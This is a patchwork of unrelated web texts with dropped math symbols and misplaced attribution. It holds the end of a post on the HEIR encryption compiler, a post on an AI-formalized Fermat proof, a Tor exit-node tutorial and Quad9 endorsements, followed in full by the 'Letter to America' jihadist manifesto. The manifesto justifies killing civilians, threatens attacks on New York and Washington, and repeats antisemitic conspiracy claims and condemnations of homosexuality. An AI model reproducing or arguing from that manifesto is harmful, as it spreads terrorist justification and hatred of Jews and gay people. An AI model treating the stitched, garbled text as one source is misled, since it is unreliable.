B2B analysis: Similar to existing applications of private set intersection at Google, business-to-business applications check a lot of boxes. Both businesses are privacy needs, but there are only two users, so key material is not an obstacle. But there is enough trust for the two parties to share the output, provided the computation is producing some set of business metrics relevant to both parties. And business analytics and metrics reporting are usually quite latency tolerant. I recall talking to one HE practitioner who said, “if the client only needs a report generated once a month, then who cares if the HE computation takes a week to run?”

Specialized biometrics situations: I think biometric applications like face and fingerprint recognition are within the capabilities of current HE techniques, with the exception of the key material problem. But there are specialized situations in which extra latency should be tolerated, such as in-person account creation or account recovery procedures (think of a new employee on-boarding day, or losing your security badge). These events are infrequent enough that the system wouldn’t be encumbered by high QPS needs. And I think it is generally a good idea that employers do not have databases of employee biometrics.

Some notes on the HEIR roadmap

I’ll close with a few notes on where HEIR is going next.

Crypto in the compiler

You may have noticed all the HEIR backends are currently external library APIs in a high level language. This is mainly because, when we started HEIR, hardware acceleration work was still in its infancy. Moreover, people building accelerators (and GPU libraries) needed an easy way to write larger applications that use their libraries for benchmarking purposes. These often mirrored some existing library API (like OpenFHE), and then injected their own code at some level, such as scheduling a key switching op on a GPU.

So we decided HEIR should meet them in the middle. Start by targeting these popular library APIs, and get the frontend of the compiler pipeline working well. At the same time, we have been slowly building out a true “backend” of the compiler, which involves implementing the HE cryptography directly as compiler passes. With that in place, and with our multi-layer design enabled by MLIR, we can compile a program down to a library API (high-level HE scheme operations), or to a lower-level modular polynomial arithmetic which some accelerators use as their starting point, or to an even lower-level vectorized modular arithmetic level (think of a GPU or TPU for 64-bit integer math modulo custom primes, instead of bfloat16) which some accelerators use as their starting point, or even further down to LLVM, and then to x86 or wasm or whatever.

This will be critical for multiple of our hardware partners, including Niobium, Cornami, and Optalysys, all of whose hardware we are planning to target with HEIR. This path is making steady progress, but I expect it to pick up given that we have both a lot more GPU work maturing, and that I personally should have time in the next 6 months to really dig into that work. That will in turn open a lot of potential for optimizations that involve scheduling, kernel fusion, etc.

GPU and TPU support

We have a bunch of parallel efforts at integrating TPU and GPU backends into HEIR (still as library APIs for now). This includes the CHEDDAR library, Belfort’s GPU library (I’m not sure if their project codename is public), and CROSS/jaxite. We also have heard interest from a variety of other groups working on GPU acceleration.

In my view, GPU/TPU will be crucial to getting HE in production before custom ASICs can be scaled up in datacenters.

New schemes

Researchers are coming out with new schemes every few years, and HEIR is meant to support all of them. Some that are on our radar include

• Gentry-Lee which is optimized for matrix multiplication and has a lot of potential for GPU/TPU synergies.
• Poulpy which streamlines and simplifies a lot of the underlying polynomial math of CKKS, and also makes switching between schemes much simpler. This has already had some progress.
• Gao-Zheng which uses a fancy encoding to enable both arithmetic and logical style operations in one scheme.

Benchmarking

One of the big selling points of HEIR is benchmarking. In particular, I want to be able to benchmark all the different hardware solutions, HE schemes, and optimization techniques so that I can be informed enough to decide what special hardware Google should integrate into its datacenters (when the time comes).

As part of that my colleague Shruthi Gorantala has been hard at work aligning the industry around a benchmarking solution in the form of fhe-benchmarking.org.

We want to add features to HEIR so that it can generate code in the right structure to be submitted to the benchmarking repository. This would make it very easy for people working on HEIR (particularly researchers) to test and showcase the benefits of their optimizations.

Research

A huge part of the draw of HEIR is that researchers can implement their research ideas directly in HEIR, or at least use HEIR as a frontend. So a big part of my job is to help train graduate students on working with HEIR, reviewing their code, etc.

Though HEIR still doesn’t have a proper publication yet, it has been racking up citations, and, to my count, four published papers were based on research done directly in HEIR.

Join us!

If this interests you, or if you want to get some experience in compilers/MLIR or cryptography, HEIR is fully open source, and we have both a weekly office hours and a (recorded) monthly meeting where we review work that happened in the past month and discuss upcoming design work. Everyone is welcome, but we just ask that you show up to one of these in-person meetings (or schedule a private meeting with a maintainer) before submitting a PR, which is part of our policy to reduce AI spam.

Do you have feedback on this post? Please reach out by e-mail to tomas@vondra.me.

I guess technically it was revealed to the world by a coffee shop in Islington on Insta, but an hour later it was officially announced by Anthropic: one of their internal models, using the prove2.me platform, has formalized a complete proof of Fermat’s Last Theorem (FLT) in Lean. This is the final theorem to be formalized in Freek Wiedijk’s famous list of 100 formalization challenges and thus wraps up this 20-year-old benchmark. Congratulations to Anthropic!

Mathematical details

The proof is not the modern proof which I have been formalizing myself following ideas of Khare, Taylor etc, but the Darmon–Diamond–Taylor exposition from 1995 of the Wiles–Taylor–Wiles argument, via the Langlands–Tunnell theorem and Ribet’s level-lowering theorem. Anthropic’s repository develops Fontaine theory (to study flat deformations of Galois representations) and develops enough of Mazur’s work on the Eisenstein ideal to conclude that no Frey curve can have a point of order . This means that their FLT proof only works for , however FLT was already formalized for odd regular primes by Best-Birkbeck-Brasca-Rodriguez, and the smallest irregular prime is 37, so it’s all good.

The code base

I’ve compiled the code base and run comparator on it — it checks out. It is a gigantic proof (over 13.4 million lines of code) and takes nearly 20 times as long to compile as Lean’s mathematics library (on a machine with 96 cores!). Lean can be sluggish when jumping from file to file on a repo of this size (even on a machine with 500G of ram, which Anthropic also gave me access to), but Anthropic also supplied me with some html documents which are easier in practice to explore (clone the repo and open with a web browser).

What this work is, and is not

I am currently being funded by the EPSRC to formalize a proof of Fermat’s Last Theorem, and a naive reaction to the news above is that I no longer have any work to do. This is not the case. The work certainly achieves some of the aims of the EPSRC project, and indeed it goes much further in terms of what is formalized (I only promised the EPSRC that I would reduce FLT to the 1980s; this repo proves the whole thing). But I also promised several other things to EPSRC: firstly, that I would be making pull requests to Lean’s mathematics library, adding fundamental objects from modern number theory; this is ongoing. And secondly, and perhaps most importantly, that I would be creating a dynamic document enabling humans to explore the modern proof. My guess is that it is unlikely that Anthropic are going to do this; they will feel that their job is done with the formalization (and they did not formalize the modern proof anyway).

Note that mathematically this work of anthropic tells us essentially nothing: I am on record as saying that I am 99.9% sure that the proof of FLT is OK, and most people in the number theory community are 100% sure (formalization has made me more paranoid about the mathematical literature than most). From my understanding of the argument, the formalization just faithfully follows the early literature on the proof and adds nothing.

What this work does tell us, however, is what is possible in the field of autoformalization. If thousands of pages of the literature can be formalized end-to-end by some kind of AI swarm in an 11 day period now, then in the future we will start to see formalization of modern research being done on the fly. We will also learn whether my paranoia about the current state of the Langlands program is justified, as machines check it and ruthlessly flag arguments which are incomplete. The ability to autoformalize hard material will ultimately make the review process for mathematics papers far less painful. It will also keep us honest — there are papers out there which assume results which are “known to the experts” and it will be interesting to see exactly what is being assumed in the proofs of various important results in my field. This is why I am so excited about the news!

I was given £1M to run my project over 5 years; Anthropic took only 11 days but I do wonder if they spent more money…

An anecdote

Thought it might be nice to finish with a personal anecdote. Wiles announced his proof of FLT at the Newton Institute in 1993 in a series of three lectures; I attended the first (I was a second year graduate student at the time) and I found it completely incomprehensible, so I skipped the next two lectures and went on holiday to Ireland with my new girlfriend instead; I was so in love that I totally forgot about the rumours, and it was only when I came back to Cambridge a week later that I heard the news that the theorem was proved. Something strangely similar happened here; when I got the email from Anthropic I was in Wales at the Green Man music festival with the same girlfriend, but with very poor phone reception; I did spot an email from someone I’d never heard of in a brief moment of 4G, with title “End-to-end Lean formalization of Fermat’s Last Theorem”, but wrote them off as a crank! It was only a week later when going through the nearly 1000 unread emails which had accrued whilst I was away, that I heard the news.

This will be a quick tutorial on how to configure an Exit Node for the Tor Network. Doing this comes with some inherent risks for the operator but exit nodes are essential for bridging Tor with the ‘clear net’. Without exit nodes, anyone suffering from ISP filtering or those not wishing to have their Internet activity logged (BBC Article) couldn’t utilise Tor to access the Internet.

Unlike bridges, exit nodes (and normal relays) are publicly known devices, for which their IP address and configuration is available for anyone to see. They effectively make the final connection to the destination on behalf of the originating (anonymous) client. The Tor network is drastically short of exit nodes, but for good reason. Because they are the final hop in the chain, they will be making hundreds of outbound connections to whatever website or service Tor users request. It is therefore easy for the powers who be to blame an exit node operator for ‘doing bad things’ when in fact their node is merely participating in a network, much like a traditional router would in any network. Anyway, assuming you have balls of steel and willing to run an exit node I’ll take a look at how to do this with least hassle as possible.

Before we begin, let me make it clear running this from home is possibly dangerous, due to harassment from ISPs and the powers that be. Although you are not breaking any law by doing this you are acting as the exit point for Tor traffic and you have no control over what any of the 2.5 million Tor users across the world are going to be doing. If you do experience harassment, stay calm and know you have done nothing wrong. There is lots of information out there to help you if required.

Another issue you may face is one of reputation. Some websites block exit nodes and others make Captcha a requirement (such as cloudflare CDN & Google if it sees lots of traffic).

First up lets assume you have a working Linux machine, I’ll go with Ubuntu 14.04 (Trusty). Secondly lets assume you are NAT’ed behind a bog standard router.

We need to install tor and tor-arm. To do we need to add the Tor repos:

echo 'deb http://deb.torproject.org/torproject.org trusty main' >> /etc/apt/sources.list
echo 'deb-src http://deb.torproject.org/torproject.org trusty main' >> /etc/apt/sources.list

Next, install the GPG keys for the repo:

gpg --keyserver keys.gnupg.net --recv 886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

Now install tor, tor-arm, curl, vnstat, nginx and socat:

apt-get update
apt-get install tor tor-arm vnstat vnstati nginx curl socat

Weyhey, Tor is installed. By default it acts as a client so we need to make it into an exit node.

Replace the contents of /etc/tor/torrc with a basic relay configuration.

curl -o /etc/tor/torrc https://madpsy.uk/wp-content/uploads/2015/11/torrc.txt

The sample configuration looks like this:

ORPort 127.0.0.1:9001 NoAdvertise
ORPort 443 NoListen
DirPort 9030
Nickname TorExit
RelayBandwidthRate 100 KB
RelayBandwidthBurst 100 KB
ContactInfo [email protected]
DisableDebuggerAttachment 0
ExitPolicy accept *:20-23     # FTP, SSH, telnet
...
...
ExitPolicy reject *:*

Edit /etc/tor/torrc and set your email address next to ‘ContactInfo’.

You may also wish to set ‘RelayBandwidthRate’ and ‘RelayBandwidthBurst’ to something else, depending on your Internet connection speed. The example value is 100 KB (Kilobytes Per Second) which is fine for a typical ADSL broadband connection. You will notice ‘DirPort’ is also set, enabling this node as a Directory Server – remove the line if you don’t want that.

Next, we need to run socat to redirect port 443 traffic to localhost port 9001. This is because a useful Entry Guard (the relay will accept incoming connections as well as being an exit node) needs to run on a port which is likely to be available for every Tor user. Port 443 is HTTPS so a sensible choice. The problem is Tor doesn’t run as root and will be denied permission when trying to bind to port 443. For this reason it’s bound to 9001 locally and we will redirect traffic using ‘socat’.

To run socat:

/usr/bin/socat TCP-LISTEN:443,fork,su=nobody TCP:127.0.0.1:9001 &

We need to ensure this starts on reboot so to do that we add it to root’s crontab.

echo '@reboot /usr/bin/socat TCP-LISTEN:443,fork,su=nobody TCP:127.0.0.1:9001 &' >> /var/spool/cron/crontabs/root

Almost done! Finally, we need to serve an ‘about this node’ page over HTTP so anyone querying what this node is will be able to find out.

Note: You can also do something similar with ‘DirPortFrontPage’, however I don’t believe it will let you add additional content easily (such as the bandwidth graph).

Replace the default nginx page with the official Tor Exit Node page.

curl -o /usr/share/nginx/html/index.html https://madpsy.uk/wp-content/uploads/2015/11/tor-exit-node.txt
curl -o /usr/share/nginx/html/how_tor_works_thumb.png https://madpsy.uk/wp-content/uploads/2015/11/how_tor_works_thumb.png

Edit /usr/share/nginx/html/index.html, find ‘[email protected]’ and replace with your actual e-mail address.

At the bottom of the page is a bandwidth graph for your node. To generate this we use ‘vnstat’. I will assume eth0 is your Internet interface. We need to add another cron for this.

First, run it once manually:

/usr/bin/vnstati -i eth0 -vs -o /usr/share/nginx/html/vnstat.png

Then add the cron so it runs on the hour, every hour:

echo '00 * * * * /usr/bin/vnstati -i eth0 -vs -o /usr/share/nginx/html/vnstat.png' >> /var/spool/cron/crontabs/root

You can now view this info page by browsing to your node’s IP in a browser (e.g. http://192.168.0.10). You should see the info page and the graph at the bottom. The info page and graph should look something like this:

The final stage (I promise) is to perform basic port forwarding on your router so HTTP, Tor Relay and Tor Directory are accessible from the Internet. If you don’t do this your Tor Exit Node/Relay is useless.

You want to forward TCP/80, TCP/443 and TCP/9030 to the IP address of your shiny new Tor Node – for example 192.168.0.10.

In case you don’t already know how to do this, it seems this site is uber useful: portforward.com

You can test this worked by browsing to your public IP address and make sure you see the same info page as before. In case you were wondering Tor handles dynamic IP addresses just fine, you don’t need to do anything with hostnames or DNS etc.

I did promise that was the last thing, which it basically was 

One last thing! We must restart Tor so picks up our new configuration. We waited until after configuring port forwarding as one of the first thing Tor will do is make sure the port is open from the Internet.

To restart Tor, simply run:

/etc/init.d/tor restart

You can monitor what your node is up to with ‘arm’. Just run:

sudo -u debian-tor arm

At the top will be a ‘fingerprint’, something like ‘GH35AJCVH421742CCJFPQIUCB1835947B4399’.

You can use this fingerprint to search ‘Atlas‘ for details on your Node. Alternatively you can also search for your public IP address.

If you are running an exit node on a VM or dedicated server at a hosting company (much better idea than running from home) then it is also worth asking the hosting provider for a reverse DNS record for your IP address. I will assume you already have a domain name. Where xxx.xxx.xxxx.xxx is your server’s IP:

tor-exit1-readme.yourdomain.com  A   xxx.xxx.xxx.xxx
xxx.xxx.xxx.xxx.in-addr.arpa     PTR    tor-exit1-readme.yourdomain.com

This is so anyone looking up what your exit node’s IP is (from their logs etc) will likely spot the reverse record and try to view it in a browser – in which case they will see your Tor info page.

In addition to this it is worth while letting the hosting provider know what your server is going to be doing. That way, providing they are not idiots, they will understand why they may receive some complaints. There is not point in letting your home ISP know – they will likely either be clueless or tell you it’s against their T&C’s and terminate your account!

Essential Reading: For more information on how to safely run a Tor Exit Node, see this blog post.

I mentioned your relay will also be an Entry Guard. It will typically take 70+ days before your Node is a fully trusted Guard and working to its full potential. For more information on Entry Guard see this blog post.

End users have made it clear to industry that privacy should be a central focus for Internet platforms and infrastructure. This demand-side dynamic cannot be fulfilled with the promises of encryption technology alone, however. Quad9 understands the need to compliment complement their its secure and privacy-preserving protocols with policies and practices that protect users too. Based in Europe, Quad9’s DNS service now leverages a strong regulatory environment in the public interest.

Privacy matters, but is increasingly endangered. We’re happy to have another major internet infrastructure provider joining the European tech ecosystem, illustrating again that privacy is the future for European tech.

Quad9’s organizational move to Switzerland is important for the free and open internet because it provides much-needed geographic and legal diversity in the open DNS resolver space. It also shows that Quad9 is actively seeking to work within the legislative framework that best serves the privacy of its users.

I support the Quad9 open resolver because it puts the end user first and helps build a secure and private internet without collecting – and therefore without the possibility of commercializing – users’ personal information. I believe Quad9’s philosophy of openness and transparency in handling users’ data resonates strongly with the core beliefs of our community.

As the CEO of Alta Associates, the leading executive search firm in Cybersecurity, and Founder of the Executive Women’s Forum on Information Security, Risk Management & Privacy, I have a unique understanding of the challenges cybersecurity leaders face. Quad9 provides these leaders with an actionable way to protect their systems against threats while preserving their end-users privacy.

This step by Quad9 is a good example of what may need to be done to increase confidence in the Internet globally. It also demonstrates the importance of all stakeholders playing their respective roles - technical community providing a robust technical solution, private sector enabling and supporting the model, and robust government regulation providing a trust-guarantee. A welcome addition to the Internet infrastructure

Digital leaders in Switzerland are reviewing IT strategies to ensure best practices across their digital transformation journeys. Companies like Quad9 are providing key solutions in this area, supporting everyday web traffic, fundamental to the internet puzzle. We are delighted to host this important service at Equinix.

With its transparent privacy policy, board of directors of multiple stakeholders, and strong presence on six continents, Quad9 sets an example for public domain name services for the benefit of the common good. I am proud to be on the governing board of the Quad9 project during its important transition to European governance. This marks an important milestone for global privacy, with the protection of Swiss law and oversight now available to DNS users around the world.

I’m really impressed by the privacy architecture of Quad9. In addition to providing great security as a DNS resolver, Quad9 doesn’t collect or retain personal data. Now, it is relocating to Switzerland, where it will become subject to the rigors of Swiss data protection law, which is similar to GDPR. In addition, it obtained findings of law from the Swiss government whereby it won’t be required to retain personal information, nor will it be subject to requests from law enforcement or national security

As a European DNS vendor, we welcome Quad9’s decision to relocate to Switzerland, providing a much needed GDPR-guaranteed public resolver. This proves that strong privacy laws actually attract business.

Quad9 provides an invaluable service keeping internet users secure. Their continued development as an international non-profit, domiciled in a place with strong privacy laws, will ensure that this mission continues to be successful.

The privacy and security of Internet users depend on the availability of private and secure services, critically including Domain Name System resolvers. Digitale Gesellschaft operates one such DNS resolver for Switzerland, and we welcome Quad9 and its established global reach to Switzerland.

Swiss regulators and leading companies have joined forces in the Swiss Internet Security Alliance, SISA, to make the internet a safe place. We are glad that there are nonprofit organizations like Quad9 that offer Internet users better protection against phishing and malware with a few simple steps, free of charge. Welcome to Switzerland, Quad9!

Quad9’s move to Switzerland is a welcome improvement in the world of public resolvers. This change of domicile makes Quad9’s commitment to privacy clear: their policies are now bound by the strength of Swiss law. We welcome you to your new home in Europe, Quad9!

The National Cyber Security Centre (NCSC) of Switzerland supports the idea of conducting Quad9’s activities in a non-profit organisation (NPO) in Switzerland. As a neutral location, Switzerland is the premier site for such activities. Together, as a Public Private Partnership (PPP), we can make the internet safer and position Switzerland as a trustworthy location.

In the Name of Allah, the Most Gracious, the Most Merciful,

"Permission to fight (against disbelievers) is given to those (believers) who are fought against, because they have been wronged and surely, Allah is Able to give them (believers) victory" [Quran 22:39]

"Those who believe, fight in the Cause of Allah, and those who disbelieve, fight in the cause of Taghut (anything worshipped other than Allah e.g. Satan). So fight you against the friends of Satan; ever feeble is indeed the plot of Satan."[Quran 4:76]

Some American writers have published articles under the title 'On what basis are we fighting?' These articles have generated a number of responses, some of which adhered to the truth and were based on Islamic Law, and others which have not. Here we wanted to outline the truth - as an explanation and warning - hoping for Allah's reward, seeking success and support from Him.

While seeking Allah's help, we form our reply based on two questions directed at the Americans:

(Q1) Why are we fighting and opposing you?

(Q2) What are we calling you to, and what do we want from you?

As for the first question: Why are we fighting and opposing you? The answer is very simple:

(1) Because you attacked us and continue to attack us.

a) You attacked us in Palestine:

(i) Palestine, which has sunk under military occupation for more than 80 years. The British handed over Palestine, with your help and your support, to the Jews, who have occupied it for more than 50 years; years overflowing with oppression, tyranny, crimes, killing, expulsion, destruction and devastation. The creation and continuation of Israel is one of the greatest crimes, and you are the leaders of its criminals. And of course there is no need to explain and prove the degree of American support for Israel. The creation of Israel is a crime which must be erased. Each and every person whose hands have become polluted in the contribution towards this crime must pay its price, and pay for it heavily.

(ii) It brings us both laughter and tears to see that you have not yet tired of repeating your fabricated lies that the Jews have a historical right to Palestine, as it was promised to them in the Torah. Anyone who disputes with them on this alleged fact is accused of anti-semitism. This is one of the most fallacious, widely-circulated fabrications in history. The people of Palestine are pure Arabs and original Semites. It is the Muslims who are the inheritors of Moses (peace be upon him) and the inheritors of the real Torah that has not been changed. Muslims believe in all of the Prophets, including Abraham, Moses, Jesus and Muhammad, peace and blessings of Allah be upon them all. If the followers of Moses have been promised a right to Palestine in the Torah, then the Muslims are the most worthy nation of this.

When the Muslims conquered Palestine and drove out the Romans, Palestine and Jerusalem returned to Islaam, the religion of all the Prophets peace be upon them. Therefore, the call to a historical right to Palestine cannot be raised against the Islamic Ummah that believes in all the Prophets of Allah (peace and blessings be upon them) - and we make no distinction between them.

(iii) The blood pouring out of Palestine must be equally revenged. You must know that the Palestinians do not cry alone; their women are not widowed alone; their sons are not orphaned alone.

(b) You attacked us in Somalia; you supported the Russian atrocities against us in Chechnya, the Indian oppression against us in Kashmir, and the Jewish aggression against us in Lebanon.

(c) Under your supervision, consent and orders, the governments of our countries which act as your agents, attack us on a daily basis;

(i) These governments prevent our people from establishing the Islamic Shariah, using violence and lies to do so.

(ii) These governments give us a taste of humiliation, and places us in a large prison of fear and subdual.

(iii) These governments steal our Ummah's wealth and sell them to you at a paltry price.

(iv) These governments have surrendered to the Jews, and handed them most of Palestine, acknowledging the existence of their state over the dismembered limbs of their own people.

(v) The removal of these governments is an obligation upon us, and a necessary step to free the Ummah, to make the Shariah the supreme law and to regain Palestine. And our fight against these governments is not separate from out fight against you.

(d) You steal our wealth and oil at paltry prices because of you international influence and military threats. This theft is indeed the biggest theft ever witnessed by mankind in the history of the world.

(e) Your forces occupy our countries; you spread your military bases throughout them; you corrupt our lands, and you besiege our sanctities, to protect the security of the Jews and to ensure the continuity of your pillage of our treasures.

(f) You have starved the Muslims of Iraq, where children die every day. It is a wonder that more than 1.5 million Iraqi children have died as a result of your sanctions, and you did not show concern. Yet when 3000 of your people died, the entire world rises and has not yet sat down.

(g) You have supported the Jews in their idea that Jerusalem is their eternal capital, and agreed to move your embassy there. With your help and under your protection, the Israelis are planning to destroy the Al-Aqsa mosque. Under the protection of your weapons, Sharon entered the Al-Aqsa mosque, to pollute it as a preparation to capture and destroy it.

(2) These tragedies and calamities are only a few examples of your oppression and aggression against us. It is commanded by our religion and intellect that the oppressed have a right to return the aggression. Do not await anything from us but Jihad, resistance and revenge. Is it in any way rational to expect that after America has attacked us for more than half a century, that we will then leave her to live in security and peace?!!

(3) You may then dispute that all the above does not justify aggression against civilians, for crimes they did not commit and offenses in which they did not partake:

(a) This argument contradicts your continuous repetition that America is the land of freedom, and its leaders in this world. Therefore, the American people are the ones who choose their government by way of their own free will; a choice which stems from their agreement to its policies. Thus the American people have chosen, consented to, and affirmed their support for the Israeli oppression of the Palestinians, the occupation and usurpation of their land, and its continuous killing, torture, punishment and expulsion of the Palestinians. The American people have the ability and choice to refuse the policies of their Government and even to change it if they want.

(b) The American people are the ones who pay the taxes which fund the planes that bomb us in Afghanistan, the tanks that strike and destroy our homes in Palestine, the armies which occupy our lands in the Arabian Gulf, and the fleets which ensure the blockade of Iraq. These tax dollars are given to Israel for it to continue to attack us and penetrate our lands. So the American people are the ones who fund the attacks against us, and they are the ones who oversee the expenditure of these monies in the way they wish, through their elected candidates.

(c) Also the American army is part of the American people. It is this very same people who are shamelessly helping the Jews fight against us.

(d) The American people are the ones who employ both their men and their women in the American Forces which attack us.

(e) This is why the American people cannot be not innocent of all the crimes committed by the Americans and Jews against us.

(f) Allah, the Almighty, legislated the permission and the option to take revenge. Thus, if we are attacked, then we have the right to attack back. Whoever has destroyed our villages and towns, then we have the right to destroy their villages and towns. Whoever has stolen our wealth, then we have the right to destroy their economy. And whoever has killed our civilians, then we have the right to kill theirs.

The American Government and press still refuses to answer the question:

Why did they attack us in New York and Washington?

If Sharon is a man of peace in the eyes of Bush, then we are also men of peace!!! America does not understand the language of manners and principles, so we are addressing it using the language it understands.

(Q2) As for the second question that we want to answer: What are we calling you to, and what do we want from you?

(1) The first thing that we are calling you to is Islam.

(a) The religion of the Unification of God; of freedom from associating partners with Him, and rejection of this; of complete love of Him, the Exalted; of complete submission to His Laws; and of the discarding of all the opinions, orders, theories and religions which contradict with the religion He sent down to His Prophet Muhammad (peace be upon him). Islam is the religion of all the prophets, and makes no distinction between them - peace be upon them all.

It is to this religion that we call you; the seal of all the previous religions. It is the religion of Unification of God, sincerity, the best of manners, righteousness, mercy, honour, purity, and piety. It is the religion of showing kindness to others, establishing justice between them, granting them their rights, and defending the oppressed and the persecuted. It is the religion of enjoining the good and forbidding the evil with the hand, tongue and heart. It is the religion of Jihad in the way of Allah so that Allah's Word and religion reign Supreme. And it is the religion of unity and agreement on the obedience to Allah, and total equality between all people, without regarding their colour, sex, or language.

(b) It is the religion whose book - the Quran - will remained preserved and unchanged, after the other Divine books and messages have been changed. The Quran is the miracle until the Day of Judgment. Allah has challenged anyone to bring a book like the Quran or even ten verses like it.

(2) The second thing we call you to, is to stop your oppression, lies, immorality and debauchery that has spread among you.

(a) We call you to be a people of manners, principles, honour, and purity; to reject the immoral acts of fornication, homosexuality, intoxicants, gambling's, and trading with interest.

We call you to all of this that you may be freed from that which you have become caught up in; that you may be freed from the deceptive lies that you are a great nation, that your leaders spread amongst you to conceal from you the despicable state to which you have reached.

(b) It is saddening to tell you that you are the worst civilization witnessed by the history of mankind:

(i) You are the nation who, rather than ruling by the Shariah of Allah in its Constitution and Laws, choose to invent your own laws as you will and desire. You separate religion from your policies, contradicting the pure nature which affirms Absolute Authority to the Lord and your Creator. You flee from the embarrassing question posed to you: How is it possible for Allah the Almighty to create His creation, grant them power over all the creatures and land, grant them all the amenities of life, and then deny them that which they are most in need of: knowledge of the laws which govern their lives?

(ii) You are the nation that permits Usury, which has been forbidden by all the religions. Yet you build your economy and investments on Usury. As a result of this, in all its different forms and guises, the Jews have taken control of your economy, through which they have then taken control of your media, and now control all aspects of your life making you their servants and achieving their aims at your expense; precisely what Benjamin Franklin warned you against.

(iii) You are a nation that permits the production, trading and usage of intoxicants. You also permit drugs, and only forbid the trade of them, even though your nation is the largest consumer of them.

(iv) You are a nation that permits acts of immorality, and you consider them to be pillars of personal freedom. You have continued to sink down this abyss from level to level until incest has spread amongst you, in the face of which neither your sense of honour nor your laws object.

Who can forget your President Clinton's immoral acts committed in the official Oval office? After that you did not even bring him to account, other than that he 'made a mistake', after which everything passed with no punishment. Is there a worse kind of event for which your name will go down in history and remembered by nations?

(v) You are a nation that permits gambling in its all forms. The companies practice this as well, resulting in the investments becoming active and the criminals becoming rich.

(vi) You are a nation that exploits women like consumer products or advertising tools calling upon customers to purchase them. You use women to serve passengers, visitors, and strangers to increase your profit margins. You then rant that you support the liberation of women.

(vii) You are a nation that practices the trade of sex in all its forms, directly and indirectly. Giant corporations and establishments are established on this, under the name of art, entertainment, tourism and freedom, and other deceptive names you attribute to it.

(viii) And because of all this, you have been described in history as a nation that spreads diseases that were unknown to man in the past. Go ahead and boast to the nations of man, that you brought them AIDS as a Satanic American Invention.

(ix) You have destroyed nature with your industrial waste and gases more than any other nation in history. Despite this, you refuse to sign the Kyoto agreement so that you can secure the profit of your greedy companies and industries.

(x) Your law is the law of the rich and wealthy people, who hold sway in their political parties, and fund their election campaigns with their gifts. Behind them stand the Jews, who control your policies, media and economy.

(xi) That which you are singled out for in the history of mankind, is that you have used your force to destroy mankind more than any other nation in history; not to defend principles and values, but to hasten to secure your interests and profits. You who dropped a nuclear bomb on Japan, even though Japan was ready to negotiate an end to the war. How many acts of oppression, tyranny and injustice have you carried out, O callers to freedom?

(xii) Let us not forget one of your major characteristics: your duality in both manners and values; your hypocrisy in manners and principles. All manners, principles and values have two scales: one for you and one for the others.

(a)The freedom and democracy that you call to is for yourselves and for white race only; as for the rest of the world, you impose upon them your monstrous, destructive policies and Governments, which you call the 'American friends'. Yet you prevent them from establishing democracies. When the Islamic party in Algeria wanted to practice democracy and they won the election, you unleashed your agents in the Algerian army onto them, and to attack them with tanks and guns, to imprison them and torture them - a new lesson from the 'American book of democracy'!!!

(b)Your policy on prohibiting and forcibly removing weapons of mass destruction to ensure world peace: it only applies to those countries which you do not permit to possess such weapons. As for the countries you consent to, such as Israel, then they are allowed to keep and use such weapons to defend their security. Anyone else who you suspect might be manufacturing or keeping these kinds of weapons, you call them criminals and you take military action against them.

(c)You are the last ones to respect the resolutions and policies of International Law, yet you claim to want to selectively punish anyone else who does the same. Israel has for more than 50 years been pushing UN resolutions and rules against the wall with the full support of America.

(d)As for the war criminals which you censure and form criminal courts for - you shamelessly ask that your own are granted immunity!! However, history will not forget the war crimes that you committed against the Muslims and the rest of the world; those you have killed in Japan, Afghanistan, Somalia, Lebanon and Iraq will remain a shame that you will never be able to escape. It will suffice to remind you of your latest war crimes in Afghanistan, in which densely populated innocent civilian villages were destroyed, bombs were dropped on mosques causing the roof of the mosque to come crashing down on the heads of the Muslims praying inside. You are the ones who broke the agreement with the Mujahideen when they left Qunduz, bombing them in Jangi fort, and killing more than 1,000 of your prisoners through suffocation and thirst. Allah alone knows how many people have died by torture at the hands of you and your agents. Your planes remain in the Afghan skies, looking for anyone remotely suspicious.

(e)You have claimed to be the vanguards of Human Rights, and your Ministry of Foreign affairs issues annual reports containing statistics of those countries that violate any Human Rights. However, all these things vanished when the Mujahideen hit you, and you then implemented the methods of the same documented governments that you used to curse. In America, you captured thousands the Muslims and Arabs, took them into custody with neither reason, court trial, nor even disclosing their names. You issued newer, harsher laws.

What happens in Guatanamo is a historical embarrassment to America and its values, and it screams into your faces - you hypocrites, "What is the value of your signature on any agreement or treaty?"

(3) What we call you to thirdly is to take an honest stance with yourselves - and I doubt you will do so - to discover that you are a nation without principles or manners, and that the values and principles to you are something which you merely demand from others, not that which you yourself must adhere to.

(4) We also advise you to stop supporting Israel, and to end your support of the Indians in Kashmir, the Russians against the Chechens and to also cease supporting the Manila Government against the Muslims in Southern Philippines.

(5) We also advise you to pack your luggage and get out of our lands. We desire for your goodness, guidance, and righteousness, so do not force us to send you back as cargo in coffins.

(6) Sixthly, we call upon you to end your support of the corrupt leaders in our countries. Do not interfere in our politics and method of education. Leave us alone, or else expect us in New York and Washington.

(7) We also call you to deal with us and interact with us on the basis of mutual interests and benefits, rather than the policies of sub dual, theft and occupation, and not to continue your policy of supporting the Jews because this will result in more disasters for you.

If you fail to respond to all these conditions, then prepare for fight with the Islamic Nation. The Nation of Monotheism, that puts complete trust on Allah and fears none other than Him. The Nation which is addressed by its Quran with the words:

"Do you fear them? Allah has more right that you should fear Him if you are believers. Fight against them so that Allah will punish them by your hands and disgrace them and give you victory over them and heal the breasts of believing people. And remove the anger of their (believers') hearts. Allah accepts the repentance of whom He wills. Allah is All-Knowing, All-Wise." [Quran 9:13-1]

The Nation of honour and respect:

"But honour, power and glory belong to Allah, and to His Messenger (Muhammad- peace be upon him) and to the believers." [Quran 63:8]
"So do not become weak (against your enemy), nor be sad, and you will be superior ( in victory )if you are indeed (true) believers" [Quran 3:139]

The Nation of Martyrdom; the Nation that desires death more than you desire life:

"Think not of those who are killed in the way of Allah as dead. Nay, they are alive with their Lord, and they are being provided for. They rejoice in what Allah has bestowed upon them from His bounty and rejoice for the sake of those who have not yet joined them, but are left behind (not yet martyred) that on them no fear shall come, nor shall they grieve. They rejoice in a grace and a bounty from Allah, and that Allah will not waste the reward of the believers." [Quran 3:169-171]

The Nation of victory and success that Allah has promised:

"It is He Who has sent His Messenger (Muhammad peace be upon him) with guidance and the religion of truth (Islam), to make it victorious over all other religions even though the Polytheists hate it." [Quran 61:9]

"Allah has decreed that 'Verily it is I and My Messengers who shall be victorious.' Verily Allah is All-Powerful, All-Mighty." [Quran 58:21]

